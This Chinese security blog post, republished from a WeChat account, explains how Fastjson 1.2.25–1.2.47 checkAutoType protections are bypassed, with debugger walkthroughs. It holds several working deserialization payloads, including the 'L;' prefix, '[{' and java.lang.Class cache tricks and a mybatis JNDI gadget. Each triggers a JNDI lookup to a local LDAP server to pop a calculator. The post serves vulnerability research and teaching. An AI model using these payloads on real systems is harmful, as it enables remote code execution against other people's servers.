Fastjson简介
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
项目地址:https://github.com/alibaba/fastjson
Fastjson 1.2.25-1.2.47反序列化
上篇说到了Fastjson1.2.22-1.2.24版本的反序列化,这次我们来讨论1.2.25版本之后的相关威胁。在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。他使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
1.2.25-1.2.41绕过方法
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JSONTest {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Calc", "autoCommit":true}";
JSON.parse(payload);
}
}
可以看到,和最普通的fastjson相比,他在@type字段的值的最前面加了一个L,就可以绕过黑名单,我们这里调试分析一下,我们直接把断点打到ParserConfig的checkAutoType方法
他把我们传进去的@type字段的值去判断是否以acceptList和denyList里的元素开始,这里就是一个白名单和黑名单,判断需要反序列化的对象是否是黑名单的包下的对象或者是黑名单中的对象,如果是就抛出异常
由于上图根据我们提供的类名找不到对应的类,继续往下运行
这里调用了TypeUtils.loadClass,跟进看看
判断了ClassName是否以L开头并且以;结尾,并且截取第一个开始到结尾的className作为新的类名,然后调用loadClass去加载类。这里就实现了绕过
1.2.25-1.2.42绕过方法
在fastjson1.2.42中,删除了之前的acceptList和denyList,使用了acceptHashCodes和denyHashCodes
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JSONTest {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Calc", "autoCommit":true}";
JSON.parse(payload);
}
}
这种绕过方法是使用两次L和;的组合,原因是他在TypeUtils的的loadClass如果发现className是L开头;结尾的,他会去一直调用loadClass直到没有L和;为止,这里就不多演示了
1.2.25-1.2.43绕过方法
再试之前的那个payload会抛出异常,所以我们需要换一个,是否记得之前在判断L开头和;结尾上面还有一个判断是否以[开头
那我们现在直接在最基础的payload上加一个[,报错如下
exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Calc", "autoCommit":true}
希望在第42列加个[,那我们继续,继续报错
syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
继续在第43列加个{,成功弹出计算器
直接把断点打在TypeUtils的loadClass方法,此时是第一次进入该方法,但是可以看到当前的className只在最开始有一个[,说明在之前就经过处理
逐步调试发现,貌似是在lexer.scanSymbol进行处理
最后把在这个typeName传入到checkAutoType方法中。
1.2.25-1.2.45绕过方法
检测了[,如果检测到开头是[,就抛出异常
需要有mybatis<3.5.0,
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JSONTest {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Calc"}}";
JSON.parse(payload);
}
}
1.2.25-1.2.47通杀(无需AutoTypeSupport)
通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:
-
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
-
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class JSONTest {
public static void main(String[] args) {
String payload="{n" +
" "a":{n" +
" "@type":"java.lang.Class",n" +
" "val":"com.sun.rowset.JdbcRowSetImpl"n" +
" },n" +
" "b":{n" +
" "@type":"com.sun.rowset.JdbcRowSetImpl",n" +
" "dataSourceName":"ldap://localhost:1389/Calc",n" +
" "autoCommit":truen" +
" }n" +
"}";
JSON.parse(payload);
}
}
未开启AutoTypeSupport,所以就不会进入黑白名单判断的逻辑.因为type的值是java.lang.Class
,所以可以直接findClass,最后返回clazz,然后进入MiscCodec#deserialze
这里使用了TypeUtils.loadClass函数加载了JdbcRowSetlmpl对象,会将其缓存在map中
参考文章
https://xz.aliyun.com/t/9052#toc-13
-END-
如果本文对您有帮助,来个点赞、在看就是对我们莫大的鼓励。
推荐关注:
团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。
原文始发于微信公众号(弱口令安全实验室):Fastjson反序列化汇总-下篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论